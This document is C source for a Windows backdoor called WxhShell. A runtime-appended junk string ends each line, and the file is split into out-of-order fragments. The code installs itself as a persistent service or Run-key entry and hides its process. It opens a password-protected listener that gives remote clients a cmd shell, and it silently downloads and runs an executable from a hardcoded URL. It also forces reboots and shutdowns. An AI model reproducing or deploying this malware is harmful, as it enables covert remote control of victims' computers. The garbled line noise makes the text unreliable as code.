    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i|=XW6J%  
    if(Boot(SHUTDOWN)) *$s)p>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9<+4rK2  
    else { i&l$G55F  
    closesocket(wsh); `=\G>#p<T  
    ExitThread(0); f{+8]VA  
    } zxj!ihs<  
    break; {6KU.'#iF  
    } \q,w)BE  
  // 获取shell 9sRP8Nj|  
  case 's': { ?,Hk]Rl3  
    CmdShell(wsh); 8!T^KMfz  
    closesocket(wsh); CtE".UlCA  
    ExitThread(0); zL_X?UmV  
    break; d~n+Ds)%F  
  } 6\]-J*e>  
  // 退出 Pjx9@i  
  case 'x': { Gis'IX(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L@+j8[3BX  
    CloseIt(wsh); ^L[Z+7|  
    break; jQ[Z*^"}  
    } 7kb`o y;(^  
  // 离开 3NJ-.c@(p  
  case 'q': { U M#]olh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AUN Tc3  
    closesocket(wsh); p;B +g X  
    WSACleanup(); 7'<4'BGzl]  
    exit(1); R vY`9D  
    break; :bh[6 F  
        } A 7sej  
  }  %k2zsM  
  } fW\u*dMMZE  
uIba{9tM"P  
  // 提示信息 uD5i5,q1Hs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $4?%Z>'  
} Le}q>>o;q  
  } m+!%+S1  
X)|%[aX}q  
  return; `SU;TN0  
} Oc8+an1m  
A^m hPBT_  
// shell模块句柄 f8n'9HOw>  
int CmdShell(SOCKET sock) jALo;PDJ  
{ FKzqJwT  
STARTUPINFO si; ;Joo!CXHO  
ZeroMemory(&si,sizeof(si)); )/=J=xw2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PJ_|=bn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a@X'oV`(2b  
PROCESS_INFORMATION ProcessInfo; sO*6F`eiZ  
char cmdline[]="cmd"; $M><K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _%>.t  
  return 0; Zdak))7  
} _l  Jj6=  
0|U<T#t8?  
// 自身启动模式 k{;:KW|  
int StartFromService(void)  aCTVY1  
{ d*G $qUiX  
typedef struct T&h|sa(   
{ ;J _d%  
  DWORD ExitStatus; J d`NS3;*p  
  DWORD PebBaseAddress; g5?Fo%W  
  DWORD AffinityMask; S !e0 :  
  DWORD BasePriority; Xu T|vh  
  ULONG UniqueProcessId; 0 Hq$h  
  ULONG InheritedFromUniqueProcessId; >,y QG+  
}   PROCESS_BASIC_INFORMATION; 9f V57  
LO2sP"9  
PROCNTQSIP NtQueryInformationProcess; .h6h&[TEU  
abK/!m[q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g_q{3PW.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t]m#k%)  
b :+ X3  
  HANDLE             hProcess; 'J\%JAR@  
  PROCESS_BASIC_INFORMATION pbi; @B[V'|  
.d*vfE$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2{qoWys8[  
  if(NULL == hInst ) return 0; aJfW75C  
sI.Ezuw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )PwDP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BvYJ!Vj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9K&b1O@Aj  
yb]a p  
  if (!NtQueryInformationProcess) return 0; O[m+5+  
+Y \#'KrA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l>:?U  
  if(!hProcess) return 0; 'E@D  
AvwX 2?tc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T|=8 jt,  
E;X'.7[c  
  CloseHandle(hProcess); 's9)\LS>p  
<vAg\Tv:S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p'R}z|d)  
if(hProcess==NULL) return 0; 6Y=$7%z  
ycH=L8  
HMODULE hMod; c-3? D;  
char procName[255]; 'tdjPdw  
unsigned long cbNeeded; >Qi2;t~G  
N_T;&wibO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); } o=g)  
)QKZI))G0  
  CloseHandle(hProcess); rj6wKf z  
0)nU[CY  
if(strstr(procName,"services")) return 1; // 以服务启动 )cvC9gt  
+Oxl1fDf  
  return 0; // 注册表启动 P3:hGmk8|j  
} *v&g>Ni  
Z)ObFJMG5  
// 主模块 =A,i9Z&  
int StartWxhshell(LPSTR lpCmdLine) _E1:3 N|  
{ .|rpj&>g  
  SOCKET wsl; d6Z;\f7[  
BOOL val=TRUE; ;Z8K3p  
  int port=0; o|UZdGu  
  struct sockaddr_in door; Bkcs4 x  
8 /\rmf\  
  if(wscfg.ws_autoins) Install(); | 0&~fY  
Xl}>mbB  
port=atoi(lpCmdLine); Mbi)mybM  
lT%o6qgT  
if(port<=0) port=wscfg.ws_port; BO1Mz=q  
/6f$%:q  
  WSADATA data; {!<zk+h$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3n,F5?! m  
)Z]8SED  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9 Z4H5!:(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T%:}/@  
  door.sin_family = AF_INET; d-c+ KV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1c\$ziB  
  door.sin_port = htons(port); DSQ2z3s2  
,Z3.Le"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "d{ |_Cf  
closesocket(wsl); C^ uXJ~8  
return 1; pE`BB{[@  
} hnyZXk1|  
X${k  
  if(listen(wsl,2) == INVALID_SOCKET) { `"    
closesocket(wsl); 9]|cs  
return 1; @Gl=1  
} TT>;!nb  
  Wxhshell(wsl); j{nL33T%  
  WSACleanup(); )WD<Q x&  
&OsJnkY<<  
return 0; O>}aK.H  
.)Du ;  
} &'i>5Y  
6)Kg!.n%f  
// 以NT服务方式启动 _57i[U r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }2G'3msx  
{ VJm).>E3k  
DWORD   status = 0; uN'e~X6  
  DWORD   specificError = 0xfffffff; U t0oh  
aLG6yVtu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %\CsP!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P0|V1,)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qL] !/}  
  serviceStatus.dwWin32ExitCode     = 0; 2x t 8F  
  serviceStatus.dwServiceSpecificExitCode = 0; zs WYV n]  
  serviceStatus.dwCheckPoint       = 0; f BukrPsV  
  serviceStatus.dwWaitHint       = 0; GsxrqIaD  
q.~_vS%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kJ{X5&,_  
  if (hServiceStatusHandle==0) return; s:6H^DQ"C  
)88z=5.  
status = GetLastError(); 3g)pLW  
  if (status!=NO_ERROR) 4s%vx]E  
{ r 5:DIA!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /wKL"M-%  
    serviceStatus.dwCheckPoint       = 0; lor jMS  
    serviceStatus.dwWaitHint       = 0; >DPC}@Wl  
    serviceStatus.dwWin32ExitCode     = status; tpU[KR[-  
    serviceStatus.dwServiceSpecificExitCode = specificError; *i&ks> 4N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bF<FX_}!s!  
    return; 8|HuxE  
  } }H\wed]F/  
M2{{B ^*$6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ' FF@I^O  
  serviceStatus.dwCheckPoint       = 0; REli`"bR  
  serviceStatus.dwWaitHint       = 0; F0qGkMs|f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r 1nl!  
} [a`89'"z  
>6KuZ_  
// 处理NT服务事件,比如:启动、停止 7gNJ}pLDx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nxp 7/Nn3  
{ xZwG@+U=X  
switch(fdwControl) o^}K]ML!t  
{ :!n_a*.{  
case SERVICE_CONTROL_STOP: B!4chxzUZ  
  serviceStatus.dwWin32ExitCode = 0; ( hp 52Vse  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UBLr|e>dQE  
  serviceStatus.dwCheckPoint   = 0; lmf vT}$B  
  serviceStatus.dwWaitHint     = 0; GU([A@;  
  { zT 9"B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7'LKyy !"3  
  } WRe9ki=R  
  return; % tTL  
case SERVICE_CONTROL_PAUSE: jZx.MBVy]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *?:V)!.2z  
  break; W9+H /T7!  
case SERVICE_CONTROL_CONTINUE: I r]#u]Ap  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OWx-I\:  
  break; j]Kpwf<NS  
case SERVICE_CONTROL_INTERROGATE: {CdQ)|  
  break; 0Q`Dp;a5&  
}; UP'~D]J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .nl!KzO6g  
} [3"k :  
F0(P 2j  
// 标准应用程序主函数 rO[cm}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OX-t#R`  
{ }OL?k/w  
r$T\@oTL  
// 获取操作系统版本 6V-u<FJ  
OsIsNt=GetOsVer(); Se{x-vn?p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C9OEB6  
e ?sMOBPlv  
  // 从命令行安装 '{*{  
  if(strpbrk(lpCmdLine,"iI")) Install(); _UI*W&*  
xq$(=WPI  
  // 下载执行文件 `ECY:3"$KA  
if(wscfg.ws_downexe) { {%Cb0Zh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vq-W|<7C=  
  WinExec(wscfg.ws_filenam,SW_HIDE); C.4r`F$p  
} rZ'&'#Q  
4} .PQ{  
if(!OsIsNt) { /Z^"[Ke  
// 如果时win9x,隐藏进程并且设置为注册表启动 [J{\Ke0<e1  
HideProc(); Y &wtF8  
StartWxhshell(lpCmdLine); 1K{u>T  
} IyK^` y  
else 6Ft?9 B(F:  
  if(StartFromService()) 0gTv:1F /  
  // 以服务方式启动 Rxb?SBa  
  StartServiceCtrlDispatcher(DispatchTable); 3u[m? Vw  
else SbLm  
  // 普通方式启动 n#$sLXVy  
  StartWxhshell(lpCmdLine); 5ir Ffr  
L)(JaZyV5  
return 0; 1V ,Mk#_  
} #K#BNpG|  
/|s~X@%K  
27J!oin$  
N> 7sG(!'"  
=========================================== A#7/,1h\  
)+7|_7 !x  
nwS @r  
L!;"73,&(8  
u:]c  
QQI,$HId  
" ;*u"hIl1/  
I-Q@v`  
#include <stdio.h> wE3L,yx=  
#include <string.h> WwUhwY1o!L  
#include <windows.h> P aD6||1F  
#include <winsock2.h> \rj>T6  
#include <winsvc.h> d6^:lbj  
#include <urlmon.h> eR3v=Q  
k I?+\k\V`  
#pragma comment (lib, "Ws2_32.lib") u*}ltR~/  
#pragma comment (lib, "urlmon.lib") YuXCRw9p;  
<?Ln`,Duk  
#define MAX_USER   100 // 最大客户端连接数 =e)t,YVm  
#define BUF_SOCK   200 // sock buffer pq"Z,9,F%  
#define KEY_BUFF   255 // 输入 buffer zEVQ[y6BcM  
zsM2R"[X  
#define REBOOT     0   // 重启 %8O1sF  
#define SHUTDOWN   1   // 关机 W{RZ@ 3ZY  
HOaNhJ{7D  
#define DEF_PORT   5000 // 监听端口 J tvZ~s  
#7Fdmnu`  
#define REG_LEN     16   // 注册表键长度 ^%n]_[RUn4  
#define SVC_LEN     80   // NT服务名长度 vmzc0J+3p  
%?`O .W  
// 从dll定义API Z)&!ZlM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ='vD4}"j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ko|m<;LX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y1Q240  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k=W~ot &  
)-\C{>  
// wxhshell配置信息 6o0}7T%6  
struct WSCFG { &t~NR$@  
  int ws_port;         // 监听端口 S;0z%$y  
  char ws_passstr[REG_LEN]; // 口令 n1U!od  
  int ws_autoins;       // 安装标记, 1=yes 0=no \wV^uS   
  char ws_regname[REG_LEN]; // 注册表键名 O=[Q >\p  
  char ws_svcname[REG_LEN]; // 服务名 N_^PoX935O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u{-@,-{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m#Ydq(0+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @cr/&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O llS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mv,5Q6!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z=9<esx  
nR]*RIp5  
}; v<@3&bot  
F;bkV}^  
// default Wxhshell configuration GaCRo7  
struct WSCFG wscfg={DEF_PORT, t[r 6jo7  
    "xuhuanlingzhe", Sa[?B  
    1, =X1oB ,W{  
    "Wxhshell", !,+<?o y  
    "Wxhshell", `w&?SXFO8  
            "WxhShell Service", S{m:Iij[;  
    "Wrsky Windows CmdShell Service", /3#h]5Y"T  
    "Please Input Your Password: ", 0GlQWRa  
  1, sWmqx$  
  "http://www.wrsky.com/wxhshell.exe", \G#_z|'dN  
  "Wxhshell.exe" 5X>K#N  
    }; %[, R Q">v  
=8v NOvA  
// 消息定义模块 KE.O>M ,I.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `_k_}9Fr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hg %iv%1B'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8J#xB  
char *msg_ws_ext="\n\rExit."; 0&u=(;Dr\  
char *msg_ws_end="\n\rQuit."; bY-koJo  
char *msg_ws_boot="\n\rReboot..."; d"yJ0F  
char *msg_ws_poff="\n\rShutdown..."; K?nQsT;3p  
char *msg_ws_down="\n\rSave to "; @d5$OpL$%  
J&Db-  
char *msg_ws_err="\n\rErr!"; RBz"1hRo`  
char *msg_ws_ok="\n\rOK!"; /Xq|S O  
IgjPy5k  
char ExeFile[MAX_PATH]; &pf"35ll  
int nUser = 0; 6oa>\PDy   
HANDLE handles[MAX_USER]; G4U0|^(h  
int OsIsNt; [+d~He  
4{Q$^wD+.  
SERVICE_STATUS       serviceStatus; W__Y^\ ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ,)uW`7  
g:O/~L0Xb  
// 函数声明 r$v \\^?2  
int Install(void); Wks zN h  
int Uninstall(void); ]x).C[^  
int DownloadFile(char *sURL, SOCKET wsh); %"cOX  
int Boot(int flag); k')H5h+Q=  
void HideProc(void); a"i(.(9$J  
int GetOsVer(void); T X iu/g(  
int Wxhshell(SOCKET wsl); ,SPgop'  
void TalkWithClient(void *cs); }3, 4B -8!  
int CmdShell(SOCKET sock); S\]9mHJI  
int StartFromService(void); .820~b0  
int StartWxhshell(LPSTR lpCmdLine); tU$n3Bg  
y #C9@C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H,W8JNPs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zB`J+r;LU  
pP#D*hiP-g  
// 数据结构和表定义 /Xj{]i3{  
SERVICE_TABLE_ENTRY DispatchTable[] = k( Ik+=u  
{ h oO847  
{wscfg.ws_svcname, NTServiceMain}, Ml9m#c  
{NULL, NULL} kL8 E#  
}; aS[y\9(**  
ck%.D%=  
// 自我安装 xbxzB<yL  
int Install(void) {Mj- $G"  
{ KwV!smi2  
  char svExeFile[MAX_PATH]; }9^'etD  
  HKEY key; M)ao}m>  
  strcpy(svExeFile,ExeFile); r;)31Tg  
#eN2{G=4+  
// 如果是win9x系统,修改注册表设为自启动 e|W;(@$<  
if(!OsIsNt) { H0 Z o.Np  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0lu>?<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @-L\c>rqT  
  RegCloseKey(key); q sUBvq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FA>.1EI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n&o"RE 0~0  
  RegCloseKey(key); R|^bZf^  
  return 0; 8KN 3|)  
    } QgKR=GR6  
  } (&87 zk  
} lxCAZa\  
else { FaWDAL=Vhk  
4s~X  
// 如果是NT以上系统,安装为系统服务 ; w+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q6*i/"mN*  
if (schSCManager!=0) $UdBZT-  
{ 3M(*q4A$"  
  SC_HANDLE schService = CreateService YD@Z}NE v"  
  ( F Z RnIg  
  schSCManager, u  Fw1%  
  wscfg.ws_svcname, XZ{rKf2  
  wscfg.ws_svcdisp, CJh,-w{wJ"  
  SERVICE_ALL_ACCESS, /}2Y-GOU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F+*fim'NK  
  SERVICE_AUTO_START, t9MCT$U  
  SERVICE_ERROR_NORMAL, l.]wBH#RS  
  svExeFile, T{^P  
  NULL,  r73W. &  
  NULL, l*]hUPJ  
  NULL, _;0RW  
  NULL, CS(XN>N  
  NULL 6FJ*eWPC  
  ); ,\X ! :y~  
  if (schService!=0) {}8C/4iP  
  { 6]Q#4  
  CloseServiceHandle(schService); 94et ]u%7  
  CloseServiceHandle(schSCManager); YjnQ@IfIH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - f ^ ! R  
  strcat(svExeFile,wscfg.ws_svcname); b{,v?7^4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w&T\8k=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q"U%]2@=  
  RegCloseKey(key);  *U6+b  
  return 0; ;du},>T$n  
    } /\<x8BJ  
  } l5=ih9u  
  CloseServiceHandle(schSCManager); wkPjMmW+!  
} CbW[_\  
} [&4+ <Nl'  
'_V9FWDZ  
return 1; lyFlJmi,r  
} ~OsLbz:  
N$ #~&  
// 自我卸载 PYWFz   
int Uninstall(void) 2HSFMgy  
{ ZA. S X|m  
  HKEY key; 1ig*Xp[  
 oJ*,a  
if(!OsIsNt) { ` L 1+j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N8df1>mW  
  RegDeleteValue(key,wscfg.ws_regname); aNY-F)XWa  
  RegCloseKey(key); < `"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z/h]Jos  
  RegDeleteValue(key,wscfg.ws_regname); GDC@s<[k  
  RegCloseKey(key); N%>h>HJ  
  return 0; t_xK?``  
  } jIr\.i  
} Q0Do B  
} ^`i z%^  
else { R4VX*qkB  
5@r6'Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u-y?i`  
if (schSCManager!=0) ,SNrcwv  
{ Ipq0 1 +  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )`{m |\b  
  if (schService!=0) kppi>!6  
  { QEbf]U=  
  if(DeleteService(schService)!=0) { A D<>)(  
  CloseServiceHandle(schService); nyqX\m-  
  CloseServiceHandle(schSCManager); 52j3[in  
  return 0; OI6Mx$  
  } RQ[/s lg  
  CloseServiceHandle(schService); $:oC\K6  
  } MZX)znO  
  CloseServiceHandle(schSCManager); 0;T7fKj  
} I}o} # OJ  
} L~)8Q(f  
`Mt|+iT$p  
return 1; B+~ /-3  
} c1i:m'b_5  
# $k1w@  
// 从指定url下载文件 Yb`b /BMR  
int DownloadFile(char *sURL, SOCKET wsh) (0#$%US\  
{ !~%DR~^`  
  HRESULT hr; 4Eu'_>"a  
char seps[]= "/"; D&"lu*"tg  
char *token; d>mZY66P  
char *file; =bja\r{  
char myURL[MAX_PATH]; svDnw cl  
char myFILE[MAX_PATH]; %L]sQq,  
YaSBIq{z  
strcpy(myURL,sURL); bo90;7EK8  
  token=strtok(myURL,seps); <yX  u!  
  while(token!=NULL) wMN{9Ce3j  
  { &v*4AZ['  
    file=token; w9<'0wcs  
  token=strtok(NULL,seps); J^7M0A4K  
  } ~!2fUewEu  
;SjNZi)4d  
GetCurrentDirectory(MAX_PATH,myFILE); )\:IRr"  
strcat(myFILE, "\\"); r ~UDK]?V  
strcat(myFILE, file);  )sdHJ  
  send(wsh,myFILE,strlen(myFILE),0); >KP,67  
send(wsh,"...",3,0); x=xo9wEg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c%hXj#;  
  if(hr==S_OK) L[9Kh&c  
return 0; R31Z(vY  
else Yb<:1?76L  
return 1; { V(~  
"5k 6FV  
} *A8*FX>\F  
&}Wi@;G]2  
// 系统电源模块 ^yc8is'`  
int Boot(int flag) )4qspy3  
{ S .x>w/  
  HANDLE hToken; % JiF269  
  TOKEN_PRIVILEGES tkp; CP; <B1  
WHv6E!^\_  
  if(OsIsNt) { @{fwM;me]P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oz.z>+Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J|^XD<Y  
    tkp.PrivilegeCount = 1; D6?h 6`J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E:/!]sm!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9'sZi}rT  
if(flag==REBOOT) { Rrry;Hr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :w5g!G?z  
  return 0; oVZzvK(zR  
} w.J$(o(/  
else { gy,)% {,G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X\H P{$fY_  
  return 0; M\k[?i  
} u&S0  
  } G;vj3#u?  
  else { y0T#Qq  
if(flag==REBOOT) { 65O 8?I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fUY05OMZ  
  return 0; O%>*=h`P  
} ge?or]T1S  
else { Z8ivw\|M8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tKe-Dk9  
  return 0; R\7r!38  
} "\}h  
} CEw%_U@8  
yF6AI@y  
return 1; |XG&[TI- "  
} -V~Fj~b#  
pL[3,.@WA  
// win9x进程隐藏模块 $G)HU6hF*  
void HideProc(void) *My9r.F5o  
{ d oEuKT  
yFmy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o^(I+<el  
  if ( hKernel != NULL ) uK(]@H7~!c  
  { zY*~2|q,s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cc{{9Ud  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HbB8A#u  
    FreeLibrary(hKernel); ]u-bJ  
  } AD`5:G  
Owu?ND  
return; VO {z)_  
} oGI'a:iff  
z^tzP~nI  
// 获取操作系统版本 T*#M'H7LSQ  
int GetOsVer(void) 0nD?X+u  
{ >\:GFD{z  
  OSVERSIONINFO winfo; xq,ql@7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rA?< \*  
  GetVersionEx(&winfo); j[\:#/J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dbi ^%  
  return 1; 7R79[:uwJ  
  else `'XN2-M8  
  return 0; v%2Dz  
} j-**\.4a~  
Vi^vG`L9  
// 客户端句柄模块 -u"|{5? '  
int Wxhshell(SOCKET wsl) w{L9-o3A  
{  03zt^<  
  SOCKET wsh; D~i5E9s5  
  struct sockaddr_in client; 4<PupJ  
  DWORD myID; pRE^; 4}z  
^`SEmYb;  
  while(nUser<MAX_USER) }s'=w]m  
{ jz=V*p}6  
  int nSize=sizeof(client); y*sVimx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pnp8`\cIH  
  if(wsh==INVALID_SOCKET) return 1; p&<n_b  
CC3 i@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D8~\*0->  
if(handles[nUser]==0) )h0>e9z>Y  
  closesocket(wsh); z<fd!g+^  
else [$d]U.  
  nUser++; d&|5Rk ~  
  } 4 Cd5-I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7_jt =sr  
mM?,e7Xhs  
  return 0; 3 i>NKS  
} eE .wnn  
<=6F=u3PtU  
// 关闭 socket 1oiSmW\  
void CloseIt(SOCKET wsh) M,ybj5:6  
{ hPG@iX|V  
closesocket(wsh); *6AqRE  
nUser--; L ..  
ExitThread(0); ~J~R.r/  
} ?F$#t6Q  
G;wh).jG5  
// 客户端请求句柄 N Czabl  
void TalkWithClient(void *cs) @@\px66  
{  HRbv%  
<<gW`KF   
  SOCKET wsh=(SOCKET)cs; [hot,\+f  
  char pwd[SVC_LEN]; "O$WfpKX  
  char cmd[KEY_BUFF]; OIw[sum2  
char chr[1]; bw/mF5AsW  
int i,j; qHyOaK Md  
Z{l`X#':  
  while (nUser < MAX_USER) { `# !>}/m  
4:O.x#p  
if(wscfg.ws_passstr) { z!b:|*m]w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dD39?K/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8q6Le{G  
  //ZeroMemory(pwd,KEY_BUFF); $\] Mvd  
      i=0; $39TP@?:Z)  
  while(i<SVC_LEN) { `.pd %\  
nwfu@h0G  
  // 设置超时 0(u}z  
  fd_set FdRead; d { P$}b  
  struct timeval TimeOut; {0fQE@5@  
  FD_ZERO(&FdRead); :?z @T[-  
  FD_SET(wsh,&FdRead); n.NWS/v_{  
  TimeOut.tv_sec=8; Z]2z*XD  
  TimeOut.tv_usec=0; nB :iG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {hf_Xro&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^e_uprZWm  
QALr   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @J6r;4|&  
  pwd=chr[0]; z.)*/HGJm  
  if(chr[0]==0xd || chr[0]==0xa) { @sZ' --Y  
  pwd=0; T:K}mLSg  
  break; #fx"tx6  
  } uuh._H}-  
  i++; IS[q'Cv*  
    } "B"ql-K  
g%^/^<ei  
  // 如果是非法用户,关闭 socket _*sd#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n[i:$! ,  
} [GK## z'5  
n,-*$~{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0%HAa|L,,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A4d3hF~l`  
mrG#ox4$  
while(1) { ]0(ZlpT  
b"td]H3h  
  ZeroMemory(cmd,KEY_BUFF); kDRxu!/  
TL$w~dY  
      // 自动支持客户端 telnet标准   &F[N$6:v  
  j=0; N;}X$b5Y @  
  while(j<KEY_BUFF) { >XuPg(Ow  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }9z$72;Qdq  
  cmd[j]=chr[0]; f` -vnh^+  
  if(chr[0]==0xa || chr[0]==0xd) { e iH&<AH  
  cmd[j]=0; ' < >Q20  
  break; I'n}6D.M  
  } U_Mag(^-  
  j++; -<T> paE9  
    } +Qzl-eN/+  
qn{9vr  
  // 下载文件 EUgKJ=jw  
  if(strstr(cmd,"http://")) { Dcs O~mg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #-"C_~-MH  
  if(DownloadFile(cmd,wsh)) ,}>b\(Lk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>j@! W  
  else UIIsgNca  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]*)l_mut7  
  } wJgGw5  
  else { r@'~cF]m  
0f3>s>`M  
    switch(cmd[0]) { w9gfva$&  
